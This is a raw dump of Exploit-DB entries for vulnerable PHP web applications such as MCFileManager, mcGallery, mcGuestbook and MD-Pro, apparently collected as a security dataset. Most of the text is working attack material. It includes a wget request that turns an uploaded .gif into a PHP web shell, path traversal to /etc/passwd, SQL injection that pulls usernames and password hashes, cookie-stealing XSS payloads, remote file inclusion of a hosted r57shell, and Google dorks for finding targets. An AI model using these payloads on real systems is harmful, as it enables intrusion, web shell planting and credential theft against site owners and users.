deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15768
Description: MCFileManager Plugin for TinyMCE 3.2.2.3 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-12-18
Author: Vladimir Vorontsov

Exploit:
==============================================
File Upload Vulnerability [ Plugins tiny_mce ]
==============================================

http://tinymce.moxiecode.com/plugins_filemanager.php
Major version 3
Minor version 2.2.3

####################################################################

       Author             : Vladimir Vorontsov
       Contact            : d0znpp [at] gmail [dot] com

       Greetz       : GNU
       My Group         : ONSEC Russian Security Team

####################################################################

[~] DORK: inurl:/tiny_mce/plugins/filemanager/

--------------------------------------------------------------------

[~] You go to      :
http://web.com/tiny_mce/plugins/filemanager/pages/fm/index.html
[~] Upload shell   : use PHP content and .gif extension, in example a.gif
[~] Move it 2 .php :
 $ wget
--post-data="json_data=%7B%22method%22%3A%22fm.moveFiles%22%2C%22params%22%3A%5B%7B%22frompath0%22%3A%22%7B0%7D%2Fimages%2F
*a.gif*%22%2C%22toname0%22%3A%22*a.php%00.gif*%22%7D%5D%2C%22id%22%3A%22c0%22%7D"
 http://web.com/tiny_mce/plugins/filemanager/rpc/index.php

####################################################################
Exploit-DB #3494
Description: McGallery 0.5b - 'download.php' Arbitrary File Download
Type: webapps
Platform: php
Date: 2007-03-15
Author: Piker

Exploit:
################## Piker #######################################
#
#
#    McGallery 0.5b Arbitrary File Download Vulnerability
#
#
#    Affected software: McGallery 0.5b
#    Vendor: http://sourceforge.net/projects/mcgallery/
#    Dork: allintitle: "MCgallery 0.5b"
#
################################################################
#
#    http://[target]/[path]/download.php?filename=main.php
#
################################################################
#
#                   Found by Piker
#                   The Am0s Team
#
#    Greetz: KX-T33, kakalake, nAzGuL, Putus, sn4ke
#
################################################################

# milw0rm.com [2007-03-15]
Exploit-DB #25823
Description: McGallery 1.0/1.1 - Lang Argument File Disclosure
Type: webapps
Platform: php
Date: 2005-06-15
Author: D_BuG

Exploit:
source: https://www.securityfocus.com/bid/13963/info

McGallery is prone to a file disclosure vulnerability.

This could let remote attackers access files on the computer in the context of the Web server process. 

http://example.com/mcgallery/admin.php?lang=../../../../../../etc/passwd
Exploit-DB #26810
Description: McGallery 1.0/1.1/2.2 - 'index.php?album' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15845/info
  
mcGallery PRO is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of these vulnerabilities could result in a compromise of the application,arbitrary local file inclusion and code execution, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/index.php?album=[SQL]
Exploit-DB #26808
Description: McGallery 1.0/1.1/2.2 - 'index.php?language' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15845/info

mcGallery PRO is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application,arbitrary local file inclusion and code execution, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 


http://www.example.com/index.php?language=../FILE
Exploit-DB #26809
Description: McGallery 1.0/1.1/2.2 - 'show.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15845/info
 
mcGallery PRO is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application,arbitrary local file inclusion and code execution, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/show.php?start=0&id=[SQL]
http://www.example.com/show.php?start=[SQL]
http://www.example.com/show.php?rand=1&id=[SQL]
http://www.example.com/show.php?rand=[SQL]
Exploit-DB #31596
Description: mcGallery 1.1 - 'admin.php?lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-03
Author: K-9999

Exploit:
source: https://www.securityfocus.com/bid/28587/info

mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/admin.php?lang=<script>alert(document.c-o-o-k-i-e)</script>
Exploit-DB #31600
Description: mcGallery 1.1 - 'detail.php?lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-03
Author: K-9999

Exploit:
source: https://www.securityfocus.com/bid/28587/info
    
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/detail.php?lang=<script>alert(document.c-o-o-k-i-e)</script
Exploit-DB #31597
Description: mcGallery 1.1 - 'index.php?lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-03
Author: K-9999

Exploit:
source: https://www.securityfocus.com/bid/28587/info
 
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/index.php?lang=<script>alert(document.c-o-o-k-i-e)</script
Exploit-DB #31601
Description: mcGallery 1.1 - 'resize.php?lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-03
Author: K-9999

Exploit:
source: https://www.securityfocus.com/bid/28587/info
     
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/resize.php?lang=<script>alert(document.c-o-o-k-i-e)</script
Exploit-DB #31598
Description: mcGallery 1.1 - 'sess.php?lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-03
Author: K-9999

Exploit:
source: https://www.securityfocus.com/bid/28587/info
  
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/sess.php?lang=<script>alert(document.c-o-o-k-i-e)</script
Exploit-DB #31602
Description: mcGallery 1.1 - 'show.php?lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-03
Author: K-9999

Exploit:
source: https://www.securityfocus.com/bid/28587/info
      
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
      
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/show.php?lang=<script>alert(document.c-o-o-k-i-e)</script
Exploit-DB #31599
Description: mcGallery 1.1 - 'stats.php?lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-03
Author: K-9999

Exploit:
source: https://www.securityfocus.com/bid/28587/info
   
mcGallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
mcGallery 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/stats.php?lang=<script>alert(document.c-o-o-k-i-e)</script
Exploit-DB #2342
Description: mcGalleryPRO 2006 - 'path_to_folder' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-10
Author: Solpot

Exploit:
#############################SolpotCrew Community################################
#
#        Mcgallerypro (path_to_folder) Remote File Inclusion
#
#        Download file : http://phpforums.net/mcgp/mcgp.zip/mcgp.zip
#
#################################################################################
#
#
#       Bug Found By :Solpot a.k.a (k. Hasibuan) (10-09-2006)
#
#       contact: chris_hasibuan@yahoo.com
#
#       Website : http://www.nyubicrew.org/adv/solpot-adv-06.txt
#
################################################################################
#
#
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet-homo
#              Blue|spy , cah|gemblung , Slacky , blind_boy , camagenta , XdikaX
#              x-ace , Dalmet , #nyubi , #hitamputih @dalnet
#              and all member solpotcrew community @ http://www.nyubicrew.org/forum/
#
#
###############################################################################
Input passed to the "path_to_folder" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by including files from local or external resources.

code from random2.php

if (!empty($_SERVER)) { extract($_SERVER, EXTR_OVERWRITE); }
if (!empty($_GET)) { extract($_GET, EXTR_OVERWRITE); }
if (!empty($_POST)) { extract($_POST, EXTR_OVERWRITE); }
if (!empty($_COOKIE)) { extract($_COOKIE, EXTR_OVERWRITE); }
if (!empty($_SESSION)) { extract($_SESSION, EXTR_OVERWRITE); }

include ("$path_to_folder/admin/common.php");
include ("$path_to_folder/lang/$lang_def");

Google Dork; "powered by mcGalleryPRO"

exploit : http://somehost/path_to_mcgallerypro/random2.php?path_to_folder=http://evil

##############################MY LOVE JUST FOR U RIE#########################
######################################E.O.F##################################

# milw0rm.com [2006-09-10]
Exploit-DB #28035
Description: mcGuestbook 1.3 - 'admin.php?lang' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/18476/info

mcGuestbook is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin.php?lang=http://www.example2.com/r57shell.txt?
Exploit-DB #28036
Description: mcGuestbook 1.3 - 'ecrire.php?lang' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/18476/info
 
mcGuestbook is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/path/ecrire.php?lang=http://www.example2.com/r57shell.txt?
Exploit-DB #28037
Description: mcGuestbook 1.3 - 'lire.php?lang' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/18476/info
  
mcGuestbook is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/path/lire.php?lang=http://www.example2.com/r57shell.txt?
Exploit-DB #38709
Description: MCImageManager - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-07-16
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/61825/info

MCImageManager is prone to multiple security vulnerabilities.

An attacker may exploit these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, manipulate the page and spoof content to misguide users and to disclose or modify sensitive information. Other attacks may also be possible.

MCImageManager 3.1.5 and prior versions are vulnerable. 


http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?flvToPlay=1.flv

http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?autoStart=false&startImage=1.jpg

http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?flvToPlay=1.flv&autoStart=false&startImage=1.jpg

http://www.example.com/tiny_mce/plugins/imagemanager/pages/im/flvplayer/flvPlayer.swf?flvToPlay=1.xml

File 1.xml:

<?xml version="1.0" encoding="UTF-8"?>
<playlist>
<item name="Content Spoofing" thumbnail="1.jpg" url="1.flv"/>
<item name="Content Spoofing" thumbnail="2.jpg" url="2.flv"/>
</playlist>


<html>
<body>
<script>
function flvStart() {
alert('XSS');
}
function flvEnd() {
alert('XSS');
}
</script>
<object width="50%" height="50%">
<param name=movie value="flvPlayer.swf">
<param name=quality value=high>

<embed src="flvPlayer.swf?flvToPlay=1.flv&jsCallback=true" width="50%" height="50%" quality=high pluginspage="http://www.example1.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"; type="application/x-shockwave-flash"></embed>

</object>
</body>
</html>
Exploit-DB #4719
Description: Mcms Easy Web Make - 'index.php?template' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-12-11
Author: MhZ91

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------
Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 
---------------------------------------------------------------
  Local File Inclusion
---------------------------------------------------------------
# Author: MhZ91
# Title: Mcms Easy Web Make - Local File Inclusion
# Download: http://sourceforge.net/projects/easywebmake/
# Bug: Local File Inclusion
# Visit: http://www.inj3ct-it.org
---------------------------------------------------------------
Only If magic_quotes_gpc is Off
Exploit: http://[site]/modules/cms/index.php?template=[LFI]%00
Vuln Code: include"includes/$template/template.config.php";
---------------------------------------------------------------

# milw0rm.com [2007-12-11]
Exploit-DB #25232
Description: McNews 1.x - 'install.php' Arbitrary File Inclusion
Type: webapps
Platform: php
Date: 2005-03-17
Author: Jonathan Whiteley

Exploit:
source: https://www.securityfocus.com/bid/12835/info

mcNews is reportedly affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'install.php' script.

This issue is reported to affect mcNews versions 1.3 and prior. 

http://www.example.com/path/to/mcnews/admin/install.php?l=http://www.example.com
Exploit-DB #21463
Description: mcNews 1.x - File Disclosure
Type: webapps
Platform: php
Date: 2002-05-17
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4770/info

mcNews is a set of scripts for allowing users to post news stories on a webpage. It will run on most Linux and Unix variants as well as Microsoft Windows operating systems.

mcNews does not sufficiently filter dot-dot-slash (../) sequences from URL parameters. As a result, a remote attacker can disclose the contents of arbitrary web-readable files that exist on a host running the vulnerable software. 

http://target/admin/header.php?voir=hop&skinfile=../../file
Exploit-DB #27575
Description: MD News 1 - 'admin.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-06
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17394/info

MD News is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/admin.php?action=full&id=-1 union select 1,2,3,4,5
Exploit-DB #4199
Description: Md-Pro 1.0.8x - Topics topicid SQL Injection
Type: webapps
Platform: php
Date: 2007-07-18
Author: anonymous

Exploit:
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Site:      http://www.maxdev.com
Download:  http://www.maxdev.com/mod-Areafiles-display-lid-510-cid-1.phtml
Dork:      "Powered by Md-Pro"
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Exploit :!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!   

http://www.site.com/[mdpro_path]/index.php?module=Topics&func=view&topicid=-1 UNION ALL SELECT null,null,concat(pn_uname,0x3a,pn_pass),null,null,null,null from md_users where pn_uid=2/*

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Default prefix is "md_" change it if needed

# milw0rm.com [2007-07-18]
Exploit-DB #9021
Description: MD-Pro 1.083.x - Survey Module 'pollID' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-25
Author: XaDoS

Exploit:
[!]Information_schema:

[Product:  MDPro v 1.083.x               ]
[site:     www.maxdev.com                ]
[Vuln:     Blind $QL Injection (pollID)  ]
[Author:   XaDoS ~ thanks to S3rg3770    ]
[dork:     inurl:modules.php?op= "pollID"]
[          "Powered By MDPro"            ]

[~] Vuln:  (PollID)

http://www.site.com/[MDPro_path]/modules.php?name=Surveys&op=results&pollID=[SQL]
or
http://www.site.com/[MDPro_path]/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=[SQL]

[~] DeMo:

For example, if yuo want see the version of MySql write:

http://www.site.com/[MDPro_path]/modules.php?name=Surveys&op=results&pollID=+and+substring(@@version,1,1)=5#

Like:

http://www.xxx.it/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=73+and+substring(@@version,1,1)=5# [work]
so v => 5.0.0    (this site have 96 databases) :)

[~] Note:

If yuo want exploit for this vuln write it by yuorself. I'm really Busy.

thanks to s3rg3770 and warwolfz Crew


\*Everything that gives pleasure has its reason. To scorn the mobs of those who go astray is not the means to bring them around*/ C.Baudelaire

Have Fun :D

# milw0rm.com [2009-06-25]
Exploit-DB #34044
Description: md5 Encryption Decryption PHP Script - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-26
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40381/info

md5 Encryption Decryption PHP Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/MD5/index.php/>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
Exploit-DB #29537
Description: MDPro 1.0.76 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-27
Author: adexior

Exploit:
source: https://www.securityfocus.com/bid/22293/info

MDPro is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.0.76 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/index.php?module=News&startrow='[sql injection]